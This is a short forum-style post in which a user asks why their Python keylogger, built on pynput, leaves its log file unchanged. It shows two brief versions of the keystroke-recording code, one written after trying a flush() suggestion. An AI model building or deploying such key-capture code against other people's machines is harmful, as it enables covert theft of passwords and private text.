I am trying to make a keylogger. I am using the pynput library to get the input and then I'm trying to write it into a file. For some reason the file does not change at all. Do you have any idea why this could be?
from pynput.keyboard import Listener
def on_press(key):
pass
def on_release(key):
with open("log.txt", "w") as log:
log.write(str(key))
print(str(key))
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
Edit: I tried rewriting it based on your suggestions to include log.flush but it still isnt working
from pynput.keyboard import Listener
log = open("log.txt", "w")
def on_press(key):
log.write(str(key))
log.flush()
def on_release(key):
pass
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()